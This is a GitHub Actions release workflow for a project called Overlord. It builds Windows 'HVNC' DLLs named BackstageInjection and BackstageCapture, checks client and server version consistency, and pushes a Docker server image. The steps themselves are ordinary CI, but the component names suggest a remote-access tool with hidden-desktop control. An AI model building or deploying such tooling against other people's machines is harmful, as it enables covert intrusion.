146 lines
4.9 KiB
YAML
146 lines
4.9 KiB
YAML
name: overlord-ci
|
|
|
|
on:
|
|
push:
|
|
tags:
|
|
- 'v*'
|
|
|
|
env:
|
|
REGISTRY: ghcr.io
|
|
|
|
permissions:
|
|
contents: read
|
|
|
|
jobs:
|
|
build-backstage-dll:
|
|
runs-on: windows-latest
|
|
permissions:
|
|
contents: read
|
|
steps:
|
|
- name: Validate Release Tag
|
|
shell: pwsh
|
|
run: |
|
|
if ($env:GITHUB_REF_NAME -notmatch '^v\d+\.\d+\.\d+$') {
|
|
throw "Ref must be a strict release tag like v1.2.3; got '$env:GITHUB_REF_NAME'"
|
|
}
|
|
|
|
- name: Checkout repository
|
|
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
|
|
- name: Build BackstageInjection DLL with MSVC
|
|
shell: cmd
|
|
run: call build-backstage-dll.bat
|
|
|
|
- name: Build BackstageCapture DLL with MSVC
|
|
shell: cmd
|
|
run: call build-backstage-capture-dll.bat
|
|
|
|
- name: Upload HVNC DLLs
|
|
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
|
with:
|
|
name: hvnc-dll
|
|
path: |
|
|
Overlord-Server/dist-clients/BackstageInjection.x64.dll
|
|
Overlord-Server/dist-clients/BackstageCapture.x64.dll
|
|
if-no-files-found: error
|
|
retention-days: 1
|
|
|
|
build-and-push:
|
|
needs: build-backstage-dll
|
|
runs-on: ubuntu-latest
|
|
permissions:
|
|
contents: read
|
|
packages: write
|
|
|
|
steps:
|
|
- name: Checkout repository
|
|
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
|
|
|
- name: Download HVNC DLLs
|
|
uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
|
|
with:
|
|
name: hvnc-dll
|
|
path: Overlord-Server/dist-clients
|
|
|
|
- name: Read Source Version
|
|
id: srcver
|
|
shell: bash
|
|
run: |
|
|
set -euo pipefail
|
|
|
|
client_version=$(grep -oP 'var\s+AgentVersion\s*=\s*"\K[0-9]+\.[0-9]+\.[0-9]+' Overlord-Client/cmd/agent/config/config.go)
|
|
server_version=$(grep -oP 'export\s+const\s+SERVER_VERSION\s*=\s*"\K[0-9]+\.[0-9]+\.[0-9]+' Overlord-Server/src/version.ts)
|
|
package_version=$(node -p "require('./Overlord-Server/package.json').version")
|
|
|
|
if [[ -z "$client_version" || -z "$server_version" || -z "$package_version" ]]; then
|
|
echo "Failed to parse one or more version values from source files" >&2
|
|
exit 1
|
|
fi
|
|
|
|
if [[ "$client_version" != "$server_version" || "$client_version" != "$package_version" ]]; then
|
|
echo "Version mismatch detected:" >&2
|
|
echo " client(config.go): $client_version" >&2
|
|
echo " server(version.ts): $server_version" >&2
|
|
echo " package(package.json): $package_version" >&2
|
|
exit 1
|
|
fi
|
|
|
|
major="${client_version%%.*}"
|
|
rest="${client_version#*.}"
|
|
minor="${rest%%.*}"
|
|
|
|
echo "version=$client_version" >> "$GITHUB_OUTPUT"
|
|
echo "major=$major" >> "$GITHUB_OUTPUT"
|
|
echo "minor=$minor" >> "$GITHUB_OUTPUT"
|
|
|
|
- name: Validate Tag Matches Source Version
|
|
shell: bash
|
|
run: |
|
|
set -euo pipefail
|
|
if [[ ! "$GITHUB_REF_NAME" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
|
echo "Ref must be a strict release tag like v1.2.3; got ${GITHUB_REF_NAME}" >&2
|
|
exit 1
|
|
fi
|
|
tag_version="${GITHUB_REF_NAME#v}"
|
|
src_version="${{ steps.srcver.outputs.version }}"
|
|
if [[ "$tag_version" != "$src_version" ]]; then
|
|
echo "Tag version ($tag_version) does not match source version ($src_version)" >&2
|
|
exit 1
|
|
fi
|
|
|
|
- name: Normalize image name
|
|
run: printf 'IMAGE_NAME=%s\n' "${GITHUB_REPOSITORY,,}" >> "$GITHUB_ENV"
|
|
|
|
- name: Set up Docker Buildx
|
|
uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3
|
|
|
|
- name: Log in to GitHub Container Registry
|
|
uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3
|
|
with:
|
|
registry: ${{ env.REGISTRY }}
|
|
username: ${{ github.actor }}
|
|
password: ${{ secrets.GITHUB_TOKEN }}
|
|
|
|
- name: Extract metadata
|
|
id: meta
|
|
uses: docker/metadata-action@c299e40c65443455700f0fdfc63efafe5b349051 # v5
|
|
with:
|
|
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
|
|
tags: |
|
|
type=raw,value=${{ steps.srcver.outputs.version }}
|
|
type=raw,value=${{ steps.srcver.outputs.major }}.${{ steps.srcver.outputs.minor }}
|
|
type=raw,value=${{ steps.srcver.outputs.major }}
|
|
type=raw,value=latest
|
|
|
|
- name: Build and push server image
|
|
uses: docker/build-push-action@ca052bb54ab0790a636c9b5f226502c73d547a25 # v5
|
|
with:
|
|
context: .
|
|
file: ./Dockerfile
|
|
push: true
|
|
tags: ${{ steps.meta.outputs.tags }}
|
|
labels: ${{ steps.meta.outputs.labels }}
|
|
cache-from: type=gha
|
|
cache-to: type=gha,mode=max
|
|
platforms: linux/amd64,linux/arm64
|